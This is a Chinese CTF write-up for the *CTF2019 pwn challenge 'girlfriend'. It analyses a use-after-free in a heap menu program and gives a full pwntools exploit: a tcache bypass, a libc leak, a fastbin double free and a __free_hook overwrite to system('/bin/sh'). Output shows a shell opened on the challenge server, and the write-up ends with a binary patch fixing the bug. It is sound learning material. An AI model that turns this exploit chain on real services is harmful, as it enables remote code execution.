*CTF2019 PWN girlfriend

该题主要考验的是对glibc的了解程度。

程序功能介绍

安全防护

ex@ubuntu:~/test$ checksec chall
[*] '/home/ex/test/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

结构体

下面的结构体仅是根据行为猜测的,具体实行还需要看代码。

typedef struct container
{
    char *ptr;     // 8  bytes
    int size;      // 4  bytes 
    char call[12]; // 12 bytes
}container;

container *global_ptr_array[100];

功能

void __cdecl show_menu()
{
  puts("======================");
  puts("1.Add a girl's info");
  puts("2.Show info");
  puts("3.Edit info");
  puts("4.Call that girl!");
  puts("5.Exit lonely.");
  puts("======================");
  printf("Input your choice:");
}

通过反汇编可知,3号功能是假的。

主要程序

void main_function()
{
  int v0; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Do you wanna a girl friend?");
  puts("Maybe she is hidden in the heap!");
  while ( 1 )
  {
    show_menu();
    __isoc99_scanf("%d", &v0);
    getchar();
    switch ( (unsigned int)off_1270 )
    {
      case 1u:
        Add();
        break;
      case 2u:
        Show();
        break;
      case 3u:
        Edit();                                 // no use
        break;
      case 4u:
        Call();
        break;
      case 5u:
        puts("Goodbye~");
        exit(0);
        return;
      default:
        puts("Wrong choice!");
        break;
    }
  }
}

Add

void __cdecl Add()
{
  int temp; // ebx
  container *temp_ptr; // rbx
  unsigned int nbytes[3]; // [rsp+4h] [rbp-1Ch]

  *(_QWORD *)nbytes = __readfsqword(0x28u);
  if ( global_index > 100 )
    puts("Enough!");
  temp = global_index;
  global_ptr_array[temp] = (container *)malloc(24uLL);
  puts("Please input the size of girl's name");
  __isoc99_scanf("%d", nbytes);
  global_ptr_array[global_index]->size = nbytes[0];
  temp_ptr = global_ptr_array[global_index];
  temp_ptr->ptr = malloc((signed int)nbytes[0]);
  puts("please inpute her name:");
  read(0, global_ptr_array[global_index]->ptr, nbytes[0]);
  puts("please input her call:");
  read(0, global_ptr_array[global_index]->call, 12uLL);
  global_ptr_array[global_index]->call[11] = 0;
  puts("Done!");
  ++global_index;
}

Add主要功能是先申请一个24bytes 的chunk来存放结构体container,然后根据用户的输入申请任意大小的chunk,由container->ptr指向该chunk。

Show

void __cdecl Show()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &index);
  if ( global_ptr_array[index] )
  {
    puts("name:");
    puts(global_ptr_array[index]->ptr);
    puts("phone:");
    puts(global_ptr_array[index]->call);
  }
  puts("Done!");
}

Show的功能主要是打印我们输入索引的ptr和call字符串。

Call

void __cdecl Call()
{
  unsigned int v0; // eax
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Be brave,speak out your love!");
  puts(&byte_11DE);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 99 )
    exit(0);
  if ( global_ptr_array[v1] )
    free(global_ptr_array[v1]->ptr);
  v0 = time(0LL);
  srand(v0);
  v2 = rand() % 10;
  if ( v2 > 1 )
    puts("Oh, you have been refused.");
  else
    puts("Now she is your girl friend!");
  puts("Done!");
}

Call这里仅是freecontainer->ptr,而global_ptr_array`指向的chunk并没有被释放。

分析

Call函数有个明显的UAF漏洞,我们可以用这个漏洞来double free。给的glibc是有tcache机制的,所以本来double free应该是很简单的事情,但是给的glibc确实被改动的,在tcache机制上也加上了检查,这里需要我们重点绕过。

思路

  1. 突破tcache机制
  2. 泄露glibc基地址
  3. 利用UAF来double free
  4. 申请任意地址
  5. 劫持__free_hook
  6. getshell

为了使用指定的glibc,这里我对chall文件打了补丁,也就是对应chall_glibc文件。

对应的函数

def Add(size, name, call):
    sh.sendline('1')
    sh.recvuntil('Please input the size of girl\'s name\n')
    sh.sendline(str(size))
    sh.recvuntil('please inpute her name:\n')
    sh.send(name)
    sh.recvuntil('please input her call:\n')
    sh.send(call)
    sh.recvuntil('Input your choice:')

def Call(index, ):
    sh.sendline('4')
    sh.recvuntil('Please input the index:\n')
    sh.sendline(str(index))
    sh.recvuntil('Input your choice:')

突破tcache机制

for _ in range(9):
    Add(0x100, 'nothing', 'nothing')

for i in range(9):
    Call(i)

每个tcache只有7个位置,只要占满这样空间,就可以突破tcache机制。

泄露glibc基地址

运行完突破tcache机制部分的代码后,main_arena的信息就会留在index为7的chunk上,下面是调试结果。

pwndbg> bin
tcachebins
0x110 [  7]: 0x55ff73e1a9a0 —▸ 0x55ff73e1a870 —▸ 0x55ff73e1a740 —▸ 0x55ff73e1a610 —▸ 0x55ff73e1a4e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ff73e1aac0 —▸ 0x7fa528f29ca0 (main_arena+96) ◂— 0x55ff73e1aac0
smallbins
empty
largebins
empty
pwndbg> 

所以我们只要把index为7的chunk的内容读出来就行了。

sh.sendline('2')
sh.sendline('7')
sh.recvuntil('name:\n')
result = sh.recvuntil('\n')[:-1]
sh.recvuntil('Input your choice:')

# 需要自己计算
main_arena_88_offset = 0x3b1ca0
libc_base = u64(result.ljust(8, '\0')) - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
main_arena = u64(result.ljust(8, '\0')) - 88
log.success('main_arena: ' + hex(main_arena))

main_arena_88_offset,是需要自己计算的,计算方法如下。

pwndbg> bin
tcachebins
0x110 [  7]: 0x55ff73e1a9a0 —▸ 0x55ff73e1a870 —▸ 0x55ff73e1a740 —▸ 0x55ff73e1a610 —▸ 0x55ff73e1a4e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ff73e1aac0 —▸ 0x7fa528f29ca0 (main_arena+96) ◂— 0x55ff73e1aac0
smallbins
empty
largebins
empty
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55ff72c83000     0x55ff72c85000 r-xp     2000 0      /home/ex/test/girlfriend/chall_patched
    0x55ff72e84000     0x55ff72e85000 r--p     1000 1000   /home/ex/test/girlfriend/chall_patched
    0x55ff72e85000     0x55ff72e86000 rw-p     1000 2000   /home/ex/test/girlfriend/chall_patched
    0x55ff73e1a000     0x55ff73e3b000 rw-p    21000 0      [heap]
    0x7fa528b78000     0x7fa528d26000 r-xp   1ae000 0      /home/ex/test/girlfriend/lib/libc.so.6
    0x7fa528d26000     0x7fa528f25000 ---p   1ff000 1ae000 /home/ex/test/girlfriend/lib/libc.so.6
    0x7fa528f25000     0x7fa528f29000 r--p     4000 1ad000 /home/ex/test/girlfriend/lib/libc.so.6
    0x7fa528f29000     0x7fa528f2b000 rw-p     2000 1b1000 /home/ex/test/girlfriend/lib/libc.so.6
    0x7fa528f2b000     0x7fa528f2f000 rw-p     4000 0      
    0x7fa528f2f000     0x7fa528f56000 r-xp    27000 0      /home/ex/test/girlfriend/lib/ld-2.29.so
    0x7fa529153000     0x7fa529155000 rw-p     2000 0      
    0x7fa529155000     0x7fa529156000 r--p     1000 26000  /home/ex/test/girlfriend/lib/ld-2.29.so
    0x7fa529156000     0x7fa529157000 rw-p     1000 27000  /home/ex/test/girlfriend/lib/ld-2.29.so
    0x7fa529157000     0x7fa529158000 rw-p     1000 0      
    0x7ffe8c66a000     0x7ffe8c68b000 rw-p    21000 0      [stack]
    0x7ffe8c715000     0x7ffe8c717000 r--p     2000 0      [vvar]
    0x7ffe8c717000     0x7ffe8c719000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p/x 0x7fa528f29ca0-0x7fa528b78000
$1 = 0x3b1ca0

利用UAF来double free

虽然我们不能用tcache来double free,但是我们可以突破tcache机制,然后在fastbin上double free就可以了,fastbin的检查并没有改变。

# 突破tcache机制
for _ in range(7+2):
    Add(0x60, 'nothing', 'nothing')

for i in range(7+2):
    Call(i + 9)

# Double free
Call(16)
Call(17)
Call(16)

下面是调试结果,可以看到,fastbin里面已经double free。

pwndbg> bin
tcachebins
0x70 [  7]: 0x55bf613c7e70 —▸ 0x55bf613c7de0 —▸ 0x55bf613c7d50 —▸ 0x55bf613c7ce0 —▸ 0x55bf613c7c70 ◂— ...
0x110 [  7]: 0x55bf613c79a0 —▸ 0x55bf613c7870 —▸ 0x55bf613c7740 —▸ 0x55bf613c7610 —▸ 0x55bf613c74e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bf613c7ef0 —▸ 0x55bf613c7f80 ◂— 0x55bf613c7ef0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

申请任意地址

首先我们要填满前面 7 个chunk,后面的chunk才是有漏洞的。然后计算出__free_hook_offset的值,这个和上面计算main_arena_88_offset的值方法是一样的。

for _ in range(7):
    Add(0x60, 'nothing', 'nothing')

__free_hook_offset = 0x3b38c8
__free_hook_addr = libc_base + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

Add(0x60, p64(__free_hook_addr), 'nothing') # index 16
# 提前准备好参数
Add(0x60, '/bin/sh', 'nothing') # index 17
 # stop
Add(0x60, 'nothing', 'nothing') # index 18

为了stop处下断点来判断程序是否按照我们的想法进行,下面是调试代码。

pwndbg> bin
tcachebins
0x70 [  2]: 0x55a9e15c8f00 —▸ 0x7f93f231c8c8 (__free_hook) ◂— 0x0
0x110 [  7]: 0x55a9e15c89a0 —▸ 0x55a9e15c8870 —▸ 0x55a9e15c8740 —▸ 0x55a9e15c8610 —▸ 0x55a9e15c84e0 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

可以看到我们已经申请到了__free_hook地址了,因为有tcache机制,所以申请的时候不会fastbin的size检查,这个还是给了我们不少便利的。

劫持__free_hook

system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
Add(0x60, p64(system_addr), 'nothing')  # index 18

当我们申请到了__free_hook地址后,只要把它改成system函数就可以了。

getshell

sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(17))

sh.interactive()

直接调用free函数就可以触发__free_hook,而且我们已经在申请任意地址的时候提前准备好了字符串/bin/sh,对应的index是17,只要free掉该chunk,就相当于触发了system('/bin/sh')

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./chall_patched')
elf = ELF('./chall_patched')
# context.log_level = "debug"

# sh = remote('34.92.96.238', 10001)
# elf = ELF('./chall')
libc = ELF('./libc.so.6')

def s():
    raw_input('#')

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

def Add(size, name, call):
    sh.sendline('1')
    sh.recvuntil('Please input the size of girl\'s name\n')
    sh.sendline(str(size))
    sh.recvuntil('please inpute her name:\n')
    sh.send(name)
    sh.recvuntil('please input her call:\n')
    sh.send(call)
    sh.recvuntil('Input your choice:')

def Call(index, ):
    sh.sendline('4')
    sh.recvuntil('Please input the index:\n')
    sh.sendline(str(index))
    sh.recvuntil('Input your choice:')

sh.recvuntil('Input your choice:')

# 突破tcache机制
for _ in range(9):
    Add(0x100, 'nothing', 'nothing')

for i in range(9):
    Call(i)

# 泄露glibc基地址
sh.sendline('2')
sh.sendline('7')
sh.recvuntil('name:\n')
result = sh.recvuntil('\n')[:-1]
sh.recvuntil('Input your choice:')

# 需要自己计算
main_arena_88_offset = 0x3b1ca0
libc_base = u64(result.ljust(8, '\0')) - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
main_arena = u64(result.ljust(8, '\0')) - 88
log.success('main_arena: ' + hex(main_arena))

# 突破tcache机制
for _ in range(7+2):
    Add(0x60, 'nothing', 'nothing')

for i in range(7+2):
    Call(i + 9)

# Double free
Call(16)
Call(17)
Call(16)

# 申请任意地址
# 填满前面 7 个
for _ in range(7):
    Add(0x60, 'nothing', 'nothing')

__free_hook_offset = 0x3b38c8
__free_hook_addr = libc_base + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

Add(0x60, p64(__free_hook_addr), 'nothing') # index 16
# 提前准备好参数
Add(0x60, '/bin/sh', 'nothing') # index 17
# stop
Add(0x60, 'nothing', 'nothing') # index 16

# 劫持__free_hook
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
Add(0x60, p64(system_addr), 'nothing')  # index 18

# getshell
sh.sendline('4')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(17))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

由于本地的网络比较堵塞,打靶机的时候一直超时,所以这里我直接上传到服务器进行getshell的,毕竟服务器也算是一个网络有特殊优化的节点。

root@36851e23817c:~# ./exp.py 
[+] Opening connection to 34.92.96.238 on port 10001: Done
[*] '/root/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[+] libc_base: 0x7f96e75df000
[+] main_arena: 0x7f96e7990c48
[+] __free_hook_addr: 0x7f96e79928c8
[+] system_addr: 0x7f96e7620c30
[*] Switching to interactive mode
$ ls
chall
flag
lib
pwn
$ cat flag
*CTF{pqyPl2seQzkX3r0YntKfOMF4i8agb56D}
$  

修复

原理是在textsection的尾部写一个新的free函数,在这个新的free函数里面进行置NULL。

patched

.text:0000000000000E64                 lea     rdx, ds:0[rax*8]
.text:0000000000000E6C                 lea     rax, unk_202060
.text:0000000000000E73                 mov     rax, [rdx+rax]
.text:0000000000000E77                 mov     rax, [rax]
.text:0000000000000E7A                 mov     rdi, rax        ; ptr
.text:0000000000000E7D                 call    _free

0xE77填充为nop,这样传进函数的就是指针的指针。在把0xE7D改成我们的新的free函数即可。

新free函数

mov rbx, rdi
mov rdi, QWORD PTR [rdi]
call _free
mov QWORD PTR [rbx], 0
ret

将上面的函数填充至文件0x14e0处,并patch上面的汇编代码成如下样子:

.text:0000000000000E64                 lea     rdx, ds:0[rax*8]
.text:0000000000000E6C                 lea     rax, unk_202060
.text:0000000000000E73                 mov     rax, [rdx+rax]
.text:0000000000000E77                 nop
.text:0000000000000E78                 nop
.text:0000000000000E79                 nop
.text:0000000000000E7A                 mov     rdi, rax
.text:0000000000000E7D                 call    loc_14E0

这样这个UAF漏洞就patched掉了,本人已经把patched文件打包好,并放在上面的链接中,文件名为chall_fix

总结

这题还是比较难的,没有什么现成的脚本给我们魔改,需要自行摸索。

知识之间是存在联结关系的,就好像tcache其实和fastbin很像一样,所以我们只要掌握其中一种,那么另一种再学起来就会非常简单。